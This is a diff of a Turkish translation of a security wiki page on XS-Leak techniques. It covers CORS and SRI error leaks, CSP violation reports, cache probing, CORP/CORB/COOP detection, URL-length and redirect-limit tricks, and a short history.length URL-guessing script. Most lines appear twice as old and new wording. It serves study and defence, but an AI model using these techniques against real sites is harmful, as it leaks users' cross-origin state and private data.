Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini kullanır. Özellikle, bir **CORS etkin isteği** kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajında açığa çıkar. Bu zafiyet, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirmenin uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır.
|
||||
Bu teknik, bir saldırgana **bir çapraz kaynak sitesinin yönlendirmesinin hedefini çıkarmasını** sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini kullanır. Özellikle, bir **CORS etkin isteği**, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirmenin hedefinin tam URL'si** hata mesajında açığa çıkar. Bu güvenlik açığı, yönlendirmenin varlığını açığa çıkarmakla kalmaz, aynı zamanda yönlendirmenin uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır.
|
||||
|
||||
### SRI Hatası
|
||||
|
||||
@ -490,18 +490,18 @@ Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefi
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Bir saldırgan, **açık hata mesajlarını** kullanarak cross-origin yanıtlarının boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin cross-origin kaynaklarda çalışabilmesi için bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile bir fetch isteği yapıldığında hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahtelik değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
|
||||
Bir saldırgan, **açık hata mesajlarını** kullanarak çapraz kaynak yanıtlarının boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin çapraz kaynak kaynaklarında çalışabilmesi için, bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile yapılan bir fetch isteği başarısız olduğunda bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahtelik hash değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırgana yanıt boyutundaki değişiklikleri ayırt etme imkanı tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
|
||||
|
||||
### CSP İhlali/Tespiti
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Özet:** Eğer yalnızca kurbanın web sitesi CSP'de izin verilirse ve başka bir alan adına yönlendirmeye çalışırsa, CSP tespit edilebilir bir hata tetikler.
|
||||
- **Özet:** Eğer yalnızca kurbanın web sitesi CSP'de izin verilirse ve farklı bir alan adına yönlendirmeye çalışırsa, CSP tespit edilebilir bir hata tetikler.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Bir XS-Leak, CSP'yi kullanarak bir cross-origin sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, **saldırgan sitesinde hedef alan adını izin vermektir**. Hedef alana bir istek yapıldığında, **cross-origin bir alana yönlendirir**. **CSP,** buna erişimi engeller ve bir **ihlal raporu oluşturur**; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu açığa çıkarabilir**.\
|
||||
Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak yine de bir cross-origin yönlendirmesinin tetiklendiğini tespit edebilirsiniz.
|
||||
Bir XS-Leak, CSP'yi kullanarak bir çapraz kaynak sitenin farklı bir kaynağa yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, **saldırgan sitesinde hedef alan adını izin vermektir**. Hedef alana bir istek yapıldığında, **çapraz kaynak bir alana yönlendirir**. **CSP**, buna erişimi engeller ve bir **ihlal raporu oluşturur**; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu sızdırabilir**.\
|
||||
Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak yine de bir çapraz kaynak yönlendirmesinin tetiklendiğini tespit edebilirsiniz.
|
||||
|
||||
### Önbellek
|
||||
|
||||
@ -511,49 +511,49 @@ Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak yine de bir
|
||||
- **Özet:** Dosyayı önbellekten temizleyin. Hedef sayfayı açar, dosyanın önbellekte mevcut olup olmadığını kontrol eder.
|
||||
- **Kod Örneği:**
|
||||
|
||||
Tarayıcılar, tüm web siteleri için tek bir paylaşılan önbellek kullanabilir. Kökenlerinden bağımsız olarak, bir hedef sayfanın **belirli bir dosyayı talep edip etmediğini** çıkarmak mümkündür.
|
||||
Tarayıcılar, tüm web siteleri için tek bir paylaşılan önbellek kullanabilir. Kaynağın kökenine bakılmaksızın, bir hedef sayfanın **belirli bir dosyayı talep edip etmediğini** çıkarmak mümkündür.
|
||||
|
||||
Bir sayfa, yalnızca kullanıcı oturum açtığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (yani, önbellekte değilse, daha fazla bilgi bağlantılarına bakın), **bu kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** yüklemeyi deneyebilirsiniz (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış olmasıdır**.
|
||||
Eğer bir sayfa, yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (artık önbelleğe alınmadıysa, daha fazla bilgi bağlantılarına bakın), **o kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** yüklemeyi deneyebilirsiniz (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış olmasıdır**.
|
||||
|
||||
### CSP Yönergesi
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detayları açığa çıkarılabilir.
|
||||
- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detaylarını açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **Bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın bir cross-origin sayfanın **belirli CSP yönergelerini** tespit etmesine olanak tanır; hata sayfasını tanımlayarak. Bu zafiyetin düzeltildiği belirtilmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu da temel sorunun asla tam olarak ele alınmadığını göstermektedir.
|
||||
Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırgana, hata sayfasını tanımlayarak bir çapraz kaynak sayfanın **belirli CSP yönergelerini tespit etme** yolu açar. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını göstermektedir.
|
||||
|
||||
### **CORP**
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||||
- **Özet:** Cross-Origin Resource Policy (CORP) ile güvence altına alınmış kaynaklar, yasaklı bir kökenden alındığında hata verir.
|
||||
- **Özet:** Cross-Origin Resource Policy (CORP) ile güvence altına alınmış kaynaklar, izin verilmeyen bir kökenden alındığında hata verir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
CORP başlığı, belirli bir kaynağa yönelik no-cors cross-origin isteklerini **engelleyen** nispeten yeni bir web platformu güvenlik özelliğidir. CORP ile korunan bir kaynak, **alındığında hata verir**; bu başlığın varlığı tespit edilebilir.
|
||||
CORP başlığı, belirli bir kaynağa yönelik no-cors çapraz kaynak isteklerini **engelleyen** nispeten yeni bir web platformu güvenlik özelliğidir. CORP ile korunan bir kaynak, **alındığında hata verir**; bu nedenle başlığın varlığı tespit edilebilir.
|
||||
|
||||
### CORB
|
||||
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||||
- **Özet:** CORB, saldırganların **`nosniff` başlığının istekte mevcut olup olmadığını** tespit etmelerine olanak tanıyabilir.
|
||||
- **Özet**: CORB, saldırganların **istekte `nosniff` başlığının mevcut olup olmadığını** tespit etmelerine olanak tanıyabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
||||
|
||||
Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.
|
||||
|
||||
### CORS hatası üzerinde Köken Yansıması yanlış yapılandırması <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
||||
### Köken Yansıması Yanlış Yapılandırması Üzerinde CORS Hatası <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Özet:** Eğer Origin başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür.
|
||||
- **Özet:** Eğer Origin başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte zaten mevcut olup olmadığını kontrol etmek mümkündür.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı almayı** deneyebilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bu, kaynağın **önbellekten erişildiği** anlamına gelir (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).\
|
||||
Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı** **almaya** çalışabilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bunun nedeni **önbellekten erişilmiş olmasıdır** (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).\
|
||||
Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Access-Control-Allow-Origin: *`), bu çalışmayacaktır.
|
||||
|
||||
## Okunabilir Nitelikler Tekniği
|
||||
@ -566,29 +566,29 @@ Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Acce
|
||||
- **Özet:** GC ve SA, yönlendirme tamamlandıktan sonra yanıtın türünü (opaque-redirect) kontrol etmeye olanak tanır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirmedir.
|
||||
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirme olmuştur.
|
||||
|
||||
### COOP
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||||
- **Özet:** Cross-Origin Opener Policy (COOP) ile korunan sayfalar, cross-origin etkileşimlerden erişimi engeller.
|
||||
- **Özet:** Cross-Origin Opener Policy (COOP) ile korunan sayfalar, çapraz kaynak etkileşimlerinden erişimi engeller.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına erişmeye çalışarak** tespit edilebilir. COOP koşullu olarak uygulandığında, **`opener` niteliği** belirleyici bir gösterge haline gelir: COOP aktif olduğunda **tanımsızdır**, yokluğunda ise **tanımlıdır**.
|
||||
Bir saldırgan, bir çapraz kaynak HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına erişmeye çalışarak** tespit edilebilir. COOP koşullu olarak uygulandığında, **`opener` niteliği** belirleyici bir gösterge haline gelir: COOP aktif olduğunda **tanımsızdır**, yokluğunda ise **tanımlıdır**.
|
||||
|
||||
### URL Maksimum Uzunluğu - Sunucu Tarafı
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Fetch API, HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu / İçerik
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü sunucu bir hata ile yanıt verebilir ve bir uyarı oluşturulabilir.
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bu uzunluk sunucunun bir hata ile yanıt vermesine neden olabilir ve bir uyarı oluşturulabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
Eğer sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür; çünkü genellikle **sunucuların** **istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** **o veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir.
|
||||
Eğer bir sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların** **istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** **o veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir.
|
||||
|
||||
Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıyı **yeterli çerez ayarlayarak** ([**çerez bombası**](../hacking-with-cookies/cookie-bomb.md)) gerçekleştirebilirsiniz; böylece **doğru yanıtın** **artmış boyutu** ile bir **hata** tetiklenir. Bu durumda, bu isteği aynı siteden tetiklerseniz, `<script>` otomatik olarak çerezleri gönderecektir (bu nedenle hataları kontrol edebilirsiniz).\
|
||||
Eğer bir şekilde kullanıcılara çerez ayarlayabiliyorsanız, bu saldırıyı **yeterince çerez ayarlayarak** da gerçekleştirebilirsiniz ([**çerez bombası**](../hacking-with-cookies/cookie-bomb.md)) böylece **doğru yanıtın** **artmış boyutu** bir **hata** tetikler. Bu durumda, bu isteği aynı siteden tetiklediğinizde, `<script>` otomatik olarak çerezleri gönderecektir (bu nedenle hataları kontrol edebilirsiniz).\
|
||||
**Çerez bombası + XS-Search** örneği, bu yazının Beklenen çözümünde bulunabilir: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` veya aynı bağlamda olmak genellikle bu tür bir saldırı için gereklidir.
|
||||
@ -598,18 +598,18 @@ Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıy
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu / İçerik
|
||||
- **Daha fazla bilgi**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bir isteğin yönlendirme yanıt uzunluğu çok büyük olabilir.
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bu uzunluk bir istekte çok büyük olabilir ve bir fark fark edilebilir.
|
||||
- **Kod Örneği**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
[Chromium belgelerine](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) göre, Chrome'un maksimum URL uzunluğu 2MB'dır.
|
||||
|
||||
> Genel olarak, _web platformu_ URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). _Chrome_, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum **2MB** uzunluğunda sınırlar.
|
||||
> Genel olarak, _web platformu_ URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). _Chrome_, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum **2MB** ile sınırlar.
|
||||
|
||||
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, **2MB'dan daha büyük bir URL ile yönlendirme** yapılması mümkündür. Bu durumda, Chrome **`about:blank#blocked`** sayfasını gösterir.
|
||||
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, **2MB'dan daha büyük bir URL ile yönlendirme** yapılması mümkündür. Bu gerçekleştiğinde, Chrome **`about:blank#blocked`** sayfasını gösterir.
|
||||
|
||||
**Belirgin fark**, eğer **yönlendirme** **tamamlandıysa**, `window.origin` bir **hata** fırlatır; çünkü bir cross-origin bu bilgiyi erişemez. Ancak, eğer **sınır** **aşıldıysa** ve yüklenen sayfa **`about:blank#blocked`** ise, pencerenin **`origin`** değeri **ebeveynin** değeri olarak kalır; bu da **erişilebilir bir bilgidir.**
|
||||
**Fark edilebilir fark**, eğer **yönlendirme** **tamamlandıysa**, `window.origin` bir **hata** fırlatır çünkü bir çapraz köken bu bilgiyi erişemez. Ancak, eğer **sınır** aşıldıysa ve yüklenen sayfa **`about:blank#blocked`** ise, pencerenin **`origin`** değeri **ebeveynin** değeri olarak kalır, bu da **erişilebilir bir bilgidir.**
|
||||
|
||||
**2MB**'ye ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir **hash** aracılığıyla eklenebilir, böylece **yönlendirmede kullanılabilir**.
|
||||
**2MB**'ye ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir **hash** aracılığıyla eklenebilir, böylece **yönlendirmede kullanılacaktır**.
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
@ -620,10 +620,10 @@ url-max-length-client-side.md
|
||||
- **Dahil Etme Yöntemleri**: Fetch API, Çerçeveler
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||||
- **Özet:** Tarayıcının yönlendirme limitini kullanarak URL yönlendirmelerinin gerçekleşip gerçekleşmediğini belirleyin.
|
||||
- **Özet:** Tarayıcının yönlendirme sınırını kullanarak URL yönlendirmelerinin gerçekleşip gerçekleşmediğini belirleyin.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
Eğer bir tarayıcının **izleyeceği maksimum** **yönlendirme** sayısı **20** ise, bir saldırgan **19 yönlendirme** ile kendi sayfasını yüklemeyi deneyebilir ve sonunda **kurbanı** test edilen sayfaya gönderebilir. Eğer bir **hata** tetiklenirse, bu durumda sayfa **kurbanı yönlendirmeye çalışıyordur**.
|
||||
Eğer bir tarayıcının **takip edebileceği maksimum** yönlendirme sayısı **20** ise, bir saldırgan **19 yönlendirme** ile kendi sayfasını yüklemeye çalışabilir ve sonunda **kurbanı** test edilen sayfaya gönderebilir. Eğer bir **hata** tetiklenirse, bu durumda sayfa **kurbanı yönlendirmeye** çalışıyordur.
|
||||
|
||||
### Geçmiş Uzunluğu
|
||||
|
||||
@ -634,16 +634,16 @@ Eğer bir tarayıcının **izleyeceği maksimum** **yönlendirme** sayısı **20
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
**Geçmiş API'si**, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, **bir kullanıcının ziyaret ettiği sayfaları kaydeder**. Bir saldırgan, uzunluk özelliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.\
|
||||
**`history.length`** kontrol edilerek, bir kullanıcı **bir sayfaya yönlendirildiğinde**, **aynı kökene geri döndüğünde** ve **`history.length`** değerinin yeni değerini kontrol ederek.
|
||||
**`history.length`** kontrol edilerek, bir kullanıcı **bir sayfaya** **geçiş** yaptığında, **aynı kökene geri** döndüğünde ve **`history.length`** değerinin yeni değerini kontrol ettiğinde.
|
||||
|
||||
### Aynı URL ile Geçmiş Uzunluğu
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: URL, tahmin edilen URL ile aynıysa
|
||||
- **Tespit Edilebilir Fark**: Eğer URL tahmin edilenle aynıysa
|
||||
- **Özet:** Geçmiş uzunluğunu kötüye kullanarak bir çerçeve/pop-up'ın belirli bir URL'de olup olmadığını tahmin etmek mümkündür.
|
||||
- **Kod Örneği**: Aşağıda
|
||||
|
||||
Bir saldırgan, JavaScript kodunu kullanarak **çerçeve/pop-up konumunu tahmin edilen bir URL'ye** **manipüle edebilir** ve **hemen ardından** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve **artış için zaman bulduğu** anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, **tahmin edilen URL'yi yüklemeye çalıştığı** ancak hemen ardından **`about:blank`** yüklediği anlamına gelir; bu durumda **geçmiş uzunluğu asla artmamıştır**.
|
||||
Bir saldırgan, JavaScript kodunu kullanarak **çerçeve/pop-up konumunu tahmin edilen bir URL'ye** **manipüle edebilir** ve **hemen ardından** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve **artış için zaman bulduğu** anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, **tahmin edilen URL'yi yüklemeye çalıştığı** anlamına gelir, ancak **hemen ardından** **`about:blank`**'i yüklediğimiz için, **geçmiş uzunluğu tahmin edilen URL'yi yüklerken asla artmamıştır**.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -666,13 +666,13 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||||
- **Summary:** `window.length` özelliğini inceleyerek iframe öğelerinin sayısını değerlendirin.
|
||||
- **Summary:** `window.length` özelliğini inceleyerek iframe öğelerinin miktarını değerlendirin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
